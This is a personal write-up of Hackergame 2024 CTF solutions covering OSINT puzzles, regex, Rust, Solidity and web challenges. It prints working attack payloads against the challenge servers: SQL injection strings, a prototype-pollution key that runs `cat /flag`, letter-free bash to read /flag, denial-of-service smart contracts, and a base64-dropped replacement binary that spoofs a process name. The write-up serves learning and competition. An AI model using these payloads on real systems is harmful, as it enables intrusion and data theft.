Written in the Beginning#
I've been obsessed with Hackergame 2024 these days, and it has finally ended! 🥳 I ranked 39th out of 2460 people (🔝1.5%).
The programming languages involved are: Python, C (of course, CTF problems are dominated by C and Python), JavaScript, Bash, SQL, Rust.
The article is a bit long, please make good use of the 📖 TOC.(or jump directly to the summary)
Check-in#
Click the "Start Now" button directly, and you'll find the URL has ?pass=false
. Why not try changing it to true? Oh, it worked!
- http://202.38.93.141:12024/?pass=true
flag{WeLCoME-t0-haCk3r9Ame-4nd-enJOY-H4ckiNG-zoZ4}
Hello CTFers Who Like to Check-in#
I first found out what the "University of Science and Technology of China CTF Team" is called, and Google revealed it's called the "USTC-NEBULA" team. Continuing the search led me to the "USTC NEBULA 2024 Recruitment Arrangement" GitHub repository. Clicking on the owner's profile gives us its official website. (I don't know why there's also an USTC-NEBULA
org)
Check-in Again & Again#
Open the Network panel in Chrome DevTools and search for the word flag
. We can see oh-you-found-it
. This indicates that the flag is hidden on this page.
Observing the area around the found search result, we can find a regular expression /(-a|-al|-la)/i
.
Hmm, it seems to be ls -al
. Entering this command allows us to see a .flag
file. Directly cat .flag
to get the flag.
(P.S. Can't seem to copy? Just select the element and copy it from the Elements panel! 💢)
Let's submit and see, hey, that's not right! How is this the flag for the second question! 🤷
- https://www.nebuu.la/
flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}
Check-in Again#
After finishing the second question, I actually suspected whether the second question was on this page. So I went back to the recruitment arrangement page and found nothing. Alright, let's continue back to the website.
Continuing to observe the previous JS file, I found another long string, which was also wrapped in atob
! Alright, let me run it and see.
Okay, this question is done!
flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}
Official Solution#
I glanced at the official solution and found that the competition homepage has a link to the USTC internal team link. Alright, I'm not looking at other parts of the website 🤪
Also, executing the help
command actually shows that the env
command is provided, so I can directly get the flag for the first question.
Cat Q&A (Hackergame 10th Anniversary Edition)#
This question is actually completely about information gathering while surfing the internet.
- What classroom was the pre-competition lecture held in the night before the Hackergame 2015 competition started?
After a long Google search, I found that LUG has a website that records many details of activities. We can see the "Information Security Competition" page (which is Hackergame) in the sidebar. Looking at the activity records, I saw information from previous years; 2017 was the fourth edition, so 2015 was the second edition. We then jumped to the answer page.
Note
3A204
- As we all know, there are about 25 questions in Hackergame. How many people registered for the competition in the year where the number of questions was closest to this number in the last five years (excluding this year)?
First, we need to know the number of questions in the 2019-2023 competitions. No tricks, just counting. Go to previous writeups to count the number of questions and calculate which is closest to 25. Then we find that there is no 2019!?
Continuing to gather information on the internet (commonly known as Google), I found it. But why can't it be placed in a GitHub org? (Is there some hidden reason 🫢)
Through calculation, I found that 2019 was the closest (the person writing the writeup doesn't want to count one by one anymore).
Then I searched for hackergame 2019 registered participants
and found that LUG had a press release stating that a total of 2682 people registered
.
Note
2682
- Which popular search term became the top search in the USTC library in the month of Hackergame 2018?
We know that previous writeups are hosted on GitHub, so why not try using GitHub's search engine? Search for hackergame 2018 library hot search term. This question is done.
Note
Programmer's Self-Cultivation
- At this year's USENIX Security conference, the University of Science and Technology of China published a paper on email spoofing attacks, in which the authors proposed six attack methods and experimented on how many combinations of email service providers and clients?
Extracting keywords, I searched in English for USENIX Security 2024 email spoofing
, and Google helped me find the PDF.
At first, I tried 16 * 20 = 320
, but it was wrong (P.S. This question is not like the recent Tsinghua and Peking University's Geekgame 2024, where answering requires an hour of anti-addiction).
Later I thought, wait, there are 16 service providers + 20 clients. The service providers will provide clients for users (for example, Gmail has its own web and mobile clients). So it should be 16 * 20 + 16=336
.
P.S. Official solution: Actually, it was written in the paper, but I didn't have the patience to read it line by line.
Note
336
- On October 18, Greg Kroah-Hartman submitted a patch to the Linux mailing list that removed a large number of developers from the MAINTAINERS file. What is the commit id of this patch that was merged into the Linux mainline?
Following current events, I had been surfing the internet and paying attention to this incident, so I looked through my browser history. I found the previously visited commit page.
Note
6e90b6
- Large language models break down input into tokens and continue computing. How many tokens will the HTML source code of this webpage be broken down into by Meta's Llama 3 70B model?
import { AutoTokenizer } from '@huggingface/transformers'
const content = await fetch('http://202.38.93.141:13030/', {
headers: {
Cookie: 'session=your-session',
},
}).then((r) => r.text())
const tokenizer = await AutoTokenizer.from_pretrained(
'meta-llama/Meta-Llama-3-70B',
)
const res = tokenizer.encode(content)
console.log(res.length)
For this, I also went to Hugging Face to apply for access to this model. The result was 1835
, but this answer is actually wrong. I felt that large models are quite mystical, so I tried ±3.
Note
1833
Alright, I'm done!
flag{Λ_9oØd_C@t_iS_7He_©aT_ωhO_cΛn_PαsS_tHe_qบ!2}
flag{t3И_¥eAЯ5_0ƒ_H@©keRg4M3_om3dE7ØU_WItH_n3Ko_qU1z}
The Box That Can't Be Opened#
This is actually the first question I solved apart from the check-in, and it felt too simple at a glance.
I downloaded the question file and found that macOS can open it directly (Thanks to Xcode). By observing the inside from different angles, I could get the flag. However, the second-to-last character of the flag was quite confusing; I tried both lowercase and uppercase o
, but neither worked, so I tried 0️⃣
.
flag{Dr4W_Us!nG_fR3E_C4D!!w0W}
Too Many Daily Papers!#
Open the paper link for the question and download the PDF. Directly searching for the flag in the browser can yield results, but they are not visible to the naked eye.
So we need to use some tools; open the annoying Adobe Acrobat, Edit PDF. Find the box where the flag was found, copy it, and it tells us "flag here." If we look closely, we will find a hidden image there as well, which we can drag out.
However, the quality of this image is really... hard to describe. Again, in the flag, I tried l
but it didn't work, and uppercase I
didn't work either. Oh, it turned out to be 1️⃣
.
Alright, I'm done!
flag{h4PpY_hAck1ng_3veRyd4y}
Comparing Kings#
This was the second question I tackled; my strong suit is Web.
I directly analyzed the page source. I found that it stores the data state in a global variable state
. We can directly calculate all state.values
. Then, after the countdown is complete, call the submit function to submit.
submit(state.values.map(([a, b]) => (a < b ? '<' : '>')))
Travel Photos 4.0#
This social engineering question was a bit challenging for me; I'm not very good at it.
LEO_CHAN?#
Question 1: Which school gate of USTC is closer to the location where the photo was taken? (Format:
X campus Y gate
; both are a single Chinese character)
Directly search for "科里科气科创驿站" on Gaode Map (well, I don't use Baidu Map). You will find a place near USTC, so it must be you! Opening the picture confirms it.
Note
East Campus West Gate
Question 2: By the way, when did Leo-chan last appear on the truss... was it at USTC's ACG concert this year? If I remember the event date correctly, what is it? (Format:
YYYYMMDD
)
Searching for USTC ACG concert
easily leads to the Bilibili account of the "USTC LEO Animation Association." Digging through the video, it's not hard to find the date in the description of this video.
Note
20240519
flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_??????????}
Off-topic: I really envy college life.
FULL_RECALL#
This question is a soft advertisement for Xiaohongshu, did they pay for it?
Question 3: What is the name of this park? (No need to fill in the city or district where the park is located)
Open the first image, and at first glance, you can see "六安园林" written on the trash can, along with the rainbow runway. Searching for the keywords "六安 公园 彩虹" leads to a news article, so it should be either "Central Park" or "Water Park." But actually, neither is correct; searching for "Central Park" reveals that its full name is "Central Forest Park."
Note
Central Forest Park
Question 4: What is the name of the scenic spot where this landscape is located? (Three Chinese characters)
With the second image, I searched for a long time, thinking it was also in Liu'an. I didn't expect "and the distance between these two photos... is it a bit far?" to be so far...
In the end, I used Xiaohongshu to find someone else's travel pictures and videos.
Note
Tanzi Ridge
flag{D3T41LS_M4TT3R_1F_R3V3RS3_S34RCH_1S_1MP0SS1BL3_??????????}
OMINOUS_BELL#
Question 5: What is the nearest hospital to the shooting location? (No need to include campus or place name information, format: XXX Hospital)
Question 6: What is the model of the train in the lower left corner?
This question is really difficult for someone like me who doesn't understand or care about railways. But the question mentions four-car train
. Searching on Google, I easily found the China EMU website. On this page, I found that it looks somewhat like the one in the lower left corner, both having a pink livery. So the model is CRH6F-A
.
Searching for "怀密号," I easily found the Wikipedia introduction, which indicates it operates in Beijing North. Then, based on the lines it runs, I used Google Earth to find the stations one by one... (so tiring). I was able to find the nearby hospital.
Note
Jishuitan Hospital
CRH6F-A
flag{1_C4NT_C0NT1NU3_TH3_5T0RY_4NYM0R3_50M30N3_PLZ_H3LP_??????????}
Not Wide Characters#
I'm a half-baked C/C++ programmer, so I relied on ChatGPT to help me understand what the code means 🤡.
Because this environment also requires Linux x86 + Wine to simulate a Windows environment. Running it on M1 chip + macOS is really difficult, so I opened a Aliyun (advertising space for rent) cloud computer and downloaded Clion to run it. Now that the environment is set up, I can only rely on my memory to recall.
From what I know: Windows uses the troublesome UTF-16, where each character occupies 2-3 bytes. However, a regular char only takes one byte.
When we print (char*)filename.c_str()
, we find that it splits an ASCII character into two bytes. So we just need to construct a string such that each character splits exactly into the ASCII bytes of Z:\theflag
.
const str = 'Z:\\theflag'
const arr = [...str]
let s = ''
for (let i = 0; i < arr.length; i += 2) {
s += String.fromCharCode(
parseInt(
'0x' +
arr[i + 1].charCodeAt(0).toString(16) +
arr[i].charCodeAt(0).toString(16),
),
)
}
console.log(s)
The result is "㩚瑜敨汦条," but we need to use \0
to truncate the subsequent addition of you_cant_get_the_flag
. So we can find any four-digit character ending with 00
, such as '\u5000'
. We can get the answer "㩚瑜敨汦条倀."
flag{wider_char_isnt_so_great_??????????}
PowerfulShell#
First, let's see what characters are left to use; we type out all the characters we see on the keyboard and then delete the unusable ones. We get the following characters:
`, [], {}, _, -, $, 1-9, :, =, +, ~
Then we look at the Bash tutorial and note down the usable syntax.
- https://wangdoc.com/bash/expansion#%E6%B3%A2%E6%B5%AA%E7%BA%BF%E6%89%A9%E5%B1%95
~
: HOME directory~+
current directory (actually the same as HOME directory)
- https://wangdoc.com/bash/string#%E5%AD%90%E5%AD%90%E7%AC%A6%E4%B8%B2
${varname:offset:length}
: extract substring, but note that: only varname can be used, not expressions. So we need to store the value of the expression.
Since we can't use letters, how do we name a variable? _123456789
is usable and also a legal varname.
I specifically saved the logs of my problem-solving process, so let's just look at the logs.
PowerfulShell@hackergame> _1=~+ // _1=/players
PowerfulShell@hackergame> _2=${_1:2:1} // _2=l
PowerfulShell@hackergame> _3=${_1:7:1} // _3=s
PowerfulShell@hackergame> $_2$_3 // ls
PowerfulShell.sh
PowerfulShell@hackergame> _4=$[1-1] // _4=0
PowerfulShell@hackergame> $_2$_3 ${_1:_4:1} // ls /
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
players
proc
root
run
sbin
srv
sys
tmp
usr
var
PowerfulShell@hackergame> _5=`$_2$_3 ${_1:_4:1}` // _5=`ls /` (which is the result just now)
PowerfulShell@hackergame> _6=${_5:15:1} // _6=c
PowerfulShell@hackergame> _7=${_5:19:1} // _7=a
PowerfulShell@hackergame> _8=${_5:7:1} // _8=t
PowerfulShell@hackergame> $_6$_7$_8 ${_1:_4:1}${_5:17} // cat /
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
cat: home: No such file or directory
cat: lib: No such file or directory
cat: lib32: No such file or directory
cat: lib64: No such file or directory
cat: libx32: No such file or directory
cat: media: No such file or directory
cat: mnt: No such file or directory
cat: opt: No such file or directory
cat: players: No such file or directory
cat: proc: No such file or directory
cat: root: No such file or directory
cat: run: No such file or directory
cat: sbin: No such file or directory
cat: srv: No such file or directory
cat: sys: No such file or directory
cat: tmp: No such file or directory
cat: usr: No such file or directory
cat: var: No such file or directory
PowerfulShell@hackergame>
Postscript#
Actually, it could be simpler; ~+
is just ~
; we can directly execute any command with bash, which is more powerful than cat /
.
So, I did it again.
PowerfulShell@hackergame> _1=~
PowerfulShell@hackergame> _2=${_1:2:1}
PowerfulShell@hackergame> _3=${_1:7:1}
PowerfulShell@hackergame> _4=`$_2$_3 ${_1:1-1:1}`
PowerfulShell@hackergame> _5=${_4:1-1:1}
PowerfulShell@hackergame> _6=${_4:19:1}
PowerfulShell@hackergame> _7=${_4:71-1:1}
PowerfulShell@hackergame> _8=${_4:22:1}
PowerfulShell@hackergame> $_5$_6$_7$_8
cat /flag
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
Node.js is Web Scale#
Web, a familiar taste.
Opening the question, I spent a long time before noticing the View source code
link at the very bottom 🌚. Alright, let's see how the code is written.
In the /execute
route, we can see it uses execSync
. So this should be the breakthrough point. Especially since its comment says obviously safe
, it must be here.
However, it executes commands preset in the cmds
object. Is there any way we can add new commands? Especially since we can see the /set
route, which helps us handle deep property settings. Oh, prototype chain attack!
const a = {}
a.__proto__.evil = 996
a.evil // 996
Using the above code, we can inject an evil
property into any object. So we just need to set key
: __proto__.evil
, value
: ls /
. Then access /execute?cmd=evil
, and it's not hard to find a flag file. Change value
to cat /flag
, and access it again to get the flag.
flag{n0_pr0topOIl_50_U5E_new_Map_1n5teAD_Of_0bject2kv_??????????}
PaoluGPT#
Another Web question.
Peeking into the Unknown#
First, I downloaded the question and directly locked onto line 67 of main.py
!
results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
Clearly, we can inject SQL statements. Let's try /view?conversation_id=' or 1=1 --
, and sure enough, it worked. We then looked at the source code; the homepage only displays records where shown = true
, so let's check the records where shown = false
. Accessing /view?conversation_id=' or shown=false --
gets us the flag for the second question!
Wait, how come I finished the second question first 🤪!
flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_??????????}
(Remember to replace&
with&
)
One in a Thousand#
What about the first question? I don't know; let's export all the data and see! But Python only fetched the first piece of data, so we can use union select
to build a subquery and use group_concat
to merge all the contents into one piece of data to export together!
' union select title, group_concat(contents, ' ') as contents from messages --
From the content, we can find not only the flag we just got but also another flag hidden among the many contents.
flag{zU1_xiA0_de_11m_Pa0lule!!!_??????????}
Powerful Regular Expressions#
Math questions, my nemesis! I can't do it ah ah ah ah ah!
Easy#
Through ChatGPT, I learned that we only need to focus on the last four digits.
To calculate the decimal number modulo 16 without using arithmetic operations or any conversions, we can simplify the calculation by focusing on the last four digits of the decimal number. This is because 16 is 2 to the power of 4, so the last four digits of a decimal number are sufficient to determine its result modulo 16.
So we just need to enumerate all four-digit numbers and find the multiples of 16.
const arr = new Array(10000)
.fill(0)
.map((v, i) => i)
.filter((v) => v % 16 === 0)
const grouped = Object.groupBy(arr, (v) => String(v).length)
let regex = '(0|1|2|3|4|5|6|7|8|9)*('
regex += grouped[2].map((v) => '00' + v).join('|')
regex += '|'
regex += grouped[3].map((v) => '0' + v).join('|')
regex += '|'
regex += grouped[4].join('|')
regex += ')'
console.log(regex)
Throw this regex into the question environment, and you can get the flag. With the help of GPT, this question isn't too difficult.
flag{p0werful_r3gular_expressi0n_easy_??????????}
Medium#
I searched on Google and found someone had asked a similar question, but the multiple was 3; we are looking for 13.
This led me to another question where the multiple was 7. Someone's answer mentioned DFA (Deterministic Finite Automaton). This means we can use DFA to solve this problem. Next, I asked ChatGPT for help.
Prompt: Help me construct a state machine: L = {w | w is a binary representation of an integer divisible by 13 }
ChatGPT generated a table to represent the state machine.
Current State | State on Input 0 | State on Input 1 |
---|---|---|
q0 | q0 | q1 |
q1 | q2 | q3 |
q2 | q4 | q5 |
q3 | q6 | q7 |
q4 | q8 | q9 |
q5 | q10 | q11 |
q6 | q12 | q0 |
q7 | q1 | q2 |
q8 | q3 | q4 |
q9 | q5 | q6 |
q10 | q7 | q8 |
q11 | q9 | q10 |
q12 | q11 | q12 |
Then I found the greenery
package, which can be used to generate regular expressions (but you need to use the old version v3).
from greenery import fsm, lego
dfa = fsm.fsm(
alphabet={"0", "1"},
states={0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12},
initial=0,
finals={0},
map={
0: {"0": 0, "1": 1},
1: {"0": 2, "1": 3},
2: {"0": 4, "1": 5},
3: {"0": 6, "1": 7},
4: {"0": 8, "1": 9},
5: {"0": 10, "1": 11},
6: {"0": 12, "1": 0},
7: {"0": 1, "1": 2},
8: {"0": 3, "1": 4},
9: {"0": 5, "1": 6},
10: {"0": 7, "1": 8},
11: {"0": 9, "1": 10},
12: {"0": 11, "1": 12},
},
)
print(lego.from_fsm(dfa))
The generated regular expression contains ?
, which we need to replace with *
; we also need to expand {n}
, for example, replacing 1{2}
with 11
.
flag{pow3rful_r3gular_expressi0n_medium_??????????}
Hard#
I really couldn't solve this question; I referred to the official solution.
Words Are Precious 3.0#
Such a strange thing.
Question A#
Just do it according to the question rules; if you really can't, just hand it to ChatGPT.
flag{C0mpl3ted-Th3-Pyth0n-C0de-N0w}
Question B#
I can't do it; I referred to the official solution.
Question C#
I can't do it either; same as above.
The Invisible Beyond: Exchange Space#
This was the last question I did, but I didn't expect it to be not difficult.
A Piece of Cake#
We need to exchange /home/pwn/A/space/file
and /home/pwn/B/space/file
with minimal resource usage, so I wrote this program in Rust. Although chroot
is restricted, we can communicate through TCP connections.
Considering that hard disk space is actually used in memory, we cannot hold both files and their copies at the same time. So Alice and Bob both need to read data while overwriting the data they send out.
Alice#
We let the Alice side become a TCP server. Alice will first open the file and then wait for Bob to connect.
When a connection comes in, Alice will first read the contents of the file and then send it to Bob. At the same time, it will also receive data sent by Bob and write it to the position of the file that was just read.
// Alice
use std::{
fs::OpenOptions,
io::{Read, Write},
net::TcpListener,
os::unix::fs::FileExt,
};
fn main() -> std::io::Result<()> {
let file = OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open("/space/file")?;
// start tcp server
let listener = TcpListener::bind("127.0.0.1:8000")?;
let mut tcp_stream = listener.incoming().next().unwrap()?;
println!("Connection established: {:?}", tcp_stream);
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
while file.read_exact_at(tcp_buf, offset).is_ok() {
// read file
file.read_exact_at(file_buf, offset).unwrap();
tcp_stream.write_all(file_buf).unwrap();
// write file
tcp_stream.read_exact(file_buf).unwrap();
file.write_all_at(file_buf, offset).unwrap();
offset += BUFFER_SIZE as u64;
}
Ok(())
}
Bob#
Almost the same as Alice's reverse operation. Open it, wait a moment, then connect to Alice. Read the file contents, send them to Alice. At the same time, it will also receive data sent by Alice and write it to the position of the file that was just read.
use std::{
io::{Read, Write},
os::unix::fs::FileExt,
thread::sleep,
};
fn main() -> std::io::Result<()> {
let file = std::fs::OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open("/space/file")
.unwrap();
sleep(std::time::Duration::from_millis(500));
let address = "127.0.0.1:8000";
let mut stream = std::net::TcpStream::connect(address).unwrap();
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
while stream.read_exact(tcp_buf).is_ok() {
// read file
file.read_exact_at(file_buf, offset).unwrap();
stream.write_all(file_buf).unwrap();
// file write
file.write_all_at(tcp_buf, offset).unwrap();
offset += BUFFER_SIZE as u64;
}
Ok(())
}
flag{just A p1ece 0f cake_??????????}
Strapped for Resources#
Similar to the previous small question, we first exchange the files. However, unlike before, after Alice writes, she needs to split file
into two files. Bob needs to store file1
first and then overwrite the old data on file2
.
If we don't do this, Bob's file will have file1
of 128 MiB and file2
of 64 MiB. A total of 192 MiB will exceed the limit, and the memory will run out. The same goes for Alice.
So how do we split or merge files without exceeding memory limits? Ants move houses!
For merging, we first read the first 1MiB of file2
and write it to the end of file1
, then read the remaining contents of file2
in 1MiB chunks (len + index) and overwrite them at the position of file2
(0 + index). Finally, we truncate file2
to size - len
, until the length of file2
is 0. Lastly, don't forget to hard link file1
to file
, so it won't occupy double space and we won't have to copy it bit by bit.
For splitting, we first read 1MiB of content from file
at the 64MiB mark and write it to the end of file2
, then read the remaining contents of file
in 1MiB chunks (1MiB + len + index) and overwrite them at the position of file
(1MiB + 0 + index). We then truncate file
to size - len
. Similarly, don't forget to hard link file
to file1
.
fn remove_range(file: &mut File, range: Range<u64>) {
let file_size = file.metadata().unwrap().len();
const BUFFER_SIZE: usize = 1024 * 1024;
let mut buffer = [0u8; BUFFER_SIZE];
let mut offset = range.start;
let len = range.end;
while let Ok(n) = file.read_at(&mut buffer, offset + len) {
if n == 0 {
break;
}
file.write_all_at(&buffer[..n], offset).unwrap();
offset += n as u64;
}
file.set_len(file_size - len).unwrap();
}
Alice#
use std::{
fs::{self, File, OpenOptions},
io::{Read, Write},
net::TcpListener,
os::unix::fs::FileExt,
};
fn main() -> std::io::Result<()> {
println!("Hello, Alice here");
let mut file = OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open("/space/file")?;
// start tcp server
let address = "127.0.0.1:8000";
let listener = TcpListener::bind(address)?;
println!("Server started at {}", address);
let mut tcp_stream = listener.incoming().next().unwrap()?;
println!("Connection established: {:?}", tcp_stream);
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
let file_size_128m = file.metadata().unwrap().len();
let file_size_64m = file_size_128m / 2;
while file.read_exact_at(tcp_buf, offset).is_ok() {
// read file
file.read_exact_at(file_buf, offset).unwrap();
tcp_stream.write_all(file_buf).unwrap();
// write file
tcp_stream.read_exact(file_buf).unwrap();
file.write_all_at(file_buf, offset).unwrap();
offset += BUFFER_SIZE as u64;
if offset == file_size_128m {
break;
}
}
let file2 = File::create("/space/file2")?;
let mut offset = 0;
const BUFFER_SIZE2: usize = 1024 * 1024;
let file_buf = &mut [0u8; BUFFER_SIZE2];
while let Ok(n) = file.read_at(file_buf, file_size_64m) {
if n == 0 {
break;
}
file2.write_all_at(&file_buf[..n], offset).unwrap();
remove_range(&mut file, file_size_64m..n as u64);
offset += n as u64;
}
// make hard link
fs::hard_link("/space/file", "/space/file1").unwrap();
println!("Done from Alice.");
Ok(())
}
Bob#
For Bob, remember to switch to file2
after reading 64MiB.
use std::ops::Range;
use std::{fs, fs::File};
use std::{
io::{Read, Write},
os::unix::fs::FileExt,
thread::sleep,
};
fn main() -> std::io::Result<()> {
println!("Hello Bob here!");
let path = "/space/file1";
// let path = "b";
let file1 = std::fs::OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open(path)
.unwrap();
let path = "/space/file2";
let mut file2 = std::fs::OpenOptions::new()
.read(true)
.write(true)
.truncate(false)
.open(path)
.unwrap();
let mut file = &file1;
sleep(std::time::Duration::from_millis(500));
// println!("wake up!");
let address = "127.0.0.1:8000";
let mut stream = std::net::TcpStream::connect(address).unwrap();
// println!("Connected to Server: {:?}", stream);
const BUFFER_SIZE: usize = 1024;
let tcp_buf = &mut [0u8; BUFFER_SIZE];
let file_buf = &mut [0u8; BUFFER_SIZE];
let mut offset = 0;
let file_size = file.metadata().unwrap().len();
let packet_size = file_size * 2;
while stream.read_exact(tcp_buf).is_ok() {
if offset == 67108864 {
file = &file2;
println!("Bob: switch to file2");
}
// read file
let file_offset = if offset >= 67108864 {
offset - 67108864
} else {
offset
};
file.read_exact_at(file_buf, file_offset).unwrap();
stream.write_all(file_buf).unwrap();
// file write
file.write_all_at(tcp_buf, file_offset).unwrap();
offset += BUFFER_SIZE as u64;
if offset == packet_size {
break;
}
}
let mut offset = 0;
const BUFFER_SIZE2: usize = 1024 * 1024;
let file_buf = &mut [0u8; BUFFER_SIZE2];
while let Ok(n) = file2.read_at(file_buf, 0) {
if n == 0 {
break;
}
file1
.write_all_at(&file_buf[..n], offset + file_size)
.unwrap();
remove_range(&mut file2, 0..n as u64);
offset += n as u64;
}
println!("Bob: Done reading file1 {}", offset);
// make hard link
fs::hard_link("/space/file1", "/space/file").unwrap();
println!("Done from Bob.");
Ok(())
}
flag{fa1I0catiIling_1NChains_15fun_??????????}
Postscript#
I looked at the official solution and realized that using Linux's fallocate(2) would have been simpler, but I had never used it, so I didn't think of it 🤣.
P.S. As a Rust newbie, I wrote this code in the last few hours of the competition, so it's quite poorly written; please don't criticize!
ZFS File Recovery#
I couldn't do it, so I skipped it. Setting up the macOS environment was too difficult.
Refer to the official solution.
On-chain Transfer Assistant#
This was my first time doing a Web 3-related question, and it was quite fun. I quickly brushed up on Solidity and then started writing the contract.
First, I need to set up the Foundry environment, so I need to install it.
Transfer Failed#
We need to know some knowledge about Solidity / EVM. A contract can receive Ether through fallback
and receive
functions when there are no matching function signatures, similar to a hook function.
If we cause an error in the receive
function, then this transaction will fail, causing all transfers to fail. We can use revert
to roll back the transaction.
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
contract Sink {
receive() external payable {
revert();
}
}
The real test is how to test the contract. You can compile the contract with the command below and get the bytecode (remember to remove the 0x
).
forge build my-flag1.sol
jq -r .bytecode.object < ./out/my-flag1.sol/Sink.json
flag{Tr4nsf3r_T0_c0nTracT_MaY_R3v3rt_??????????}
Transfer Again Failed#
We saw from the diff that challenge1.sol
and challenge2.sol
differ in that (bool success, ) =
was added to handle transfer failures. So I searched for what else could cause contract execution to fail.
Thinking back to other languages, if there's no explicit throw error, what else could lead to a function execution failure? The simplest would be an infinite loop.
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
contract Sink {
receive() external payable {
while (true) {}
}
}
(Thanks to Copilot for the help)
flag{Ple4se_L1m1t_y0uR_GAS_HaHa_??????????}
Transfer Again Failed#
? Strange question
This time, the contract limited the gas for the receive
function, making it impossible to exhaust gas within the receive
function. After some searching, I found something called returnbomb
. By returning a very large array, we can consume a lot of gas externally, causing the transaction to fail.
I found an example and decided to modify it slightly.
I learned that in assembly
, there's a language called Yul that can directly manipulate EVM instructions.
I first tried revert(0, 10000)
to test, but the transaction reverted directly. Then I found a platform called Tenderly that can be used to debug contracts. I discovered that gas was still remaining, but if the returned data was too large, it would cause the receive
function call to fail. So I kept increasing the return data length until the overall transaction failed.
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
contract Sink {
receive() external payable {
assembly {
// 50000 + 25000 - 25000 + 12500 - 12500 + 6250 + 3125 - 3125 + 1562 + 500
return(0, 58312)
}
}
}
flag{Y0u_4re_Th3_M4sTeR_0f_EVM!!!_??????????}
Not Very Distributed Soft Bus#
The question said a lot, but I didn't understand a word. Let's invite ChatGPT!
GPT told me that I could use dbus-send
and gdbus
to call DBus methods.
We can first use gdbus introspect
to see what methods and parameters are available. In flagserver.c
, we can find the following parameters (actually, the C code also wrote methods, but this is more intuitive).
gdbus introspect --system --dest cn.edu.ustc.lug.hack.FlagService --object-path /cn/edu/ustc/lug/hack/FlagService
What DBus Gonna Do?#
We can just directly call the GetFlag1
method, right?
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag1
Error: GDBus.Error:org.freedesktop.DBus.Error.InvalidArgs: Type of message, ?()?, does not match expected type ?(s)?
Oh no, it doesn't work; we need to pass a parameter. Looking at the C code, we need to provide Please give me flag1
as a parameter. Then I asked GPT how to pass parameters.
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag1 \
"Please give me flag1"
flag{every_11nuxdeskT0pU5er_uSeDBUS_bUtn0NeknOwh0w_??????????}
If I Could Be A File Descriptor#
In flagserver.c
, we can see that the GetFlag2
method requires a file descriptor as a parameter. How do we create a file descriptor in bash? Let's ask GPT!
exec 3</path/to/file
Alright, let's get to work!
touch /tmp/a
exec 3</tmp/a
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag2 \
3
Error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._g_2dio_2derror_2dquark.Code3: Please don't give me a file on disk to trick me!
🌚 No files allowed?! Through this article I learned that not only files on the hard disk can have file descriptors, but stdin/out also have them. So I asked GPT to help me write an anonymous pipe and create a file descriptor.
{
echo "Please give me flag2" | {
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag2 \
3
} 3<&0
} 3<&1
flag{n5tw0rk_TrAnSpaR5Ncy_d0n0t_11k5_Fd_??????????}
Comm Say Maybe#
Let's try directly calling the GetFlag3
method.
gdbus call --system \
--dest cn.edu.ustc.lug.hack.FlagService \
--object-path /cn/edu/ustc/lug/hack/FlagService \
--method cn.edu.ustc.lug.hack.FlagService.GetFlag3
Error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._g_2dio_2derror_2dquark.Code3: You shall use getflag3 to call me!
It seems we need to use getflag3
to call it. In flagserver.c
, it reads from /proc/<pid>/comm
to get the process name. If it's not getflag3
, it will return an error.
Here, I used a straightforward method: I recompiled getflag3
, but added a line of code to print the flag.
g_print("%s\n", flag);
Then I compiled it with Docker, converted it to base64. Finally, in our script, I replaced the original getflag3
with the base64-encoded code.
#!/bin/bash
base64 -d <<< "<base64 data>" > /dev/shm/getflag3
chmod +x /dev/shm/getflag3
/dev/shm/getflag3
flag{prprprprprCTL_15your_FRiEND_??????????}
RISC-V: Tiger's Courage#
I couldn't do it, so I skipped it.
Refer to the official solution.
Animation Sharing#
This question kept me up for one and a half nights 🫠.
As Long As the HTTP Service Doesn't Stop, the Response Will Keep Extending#
I thought for a long time about the first question because initially, I was heading in the direction of the second question. I was thinking about how to make the program exit. Later, during local debugging, I found that the server often got stuck. It turned out that this Rust program is single-threaded. If the current request is not finished processing, subsequent requests will be blocked.
But how can we keep our program running while making the detection program think our program has exited? We can achieve this through the daemon(3)
function.
use nix::unistd::daemon;
use nix::unistd::sleep;
fn main() {
let stream = std::net::TcpStream::connect("127.0.0.1:8000").unwrap();
println!("done");
daemon(false, false).unwrap();
sleep(1000);
}
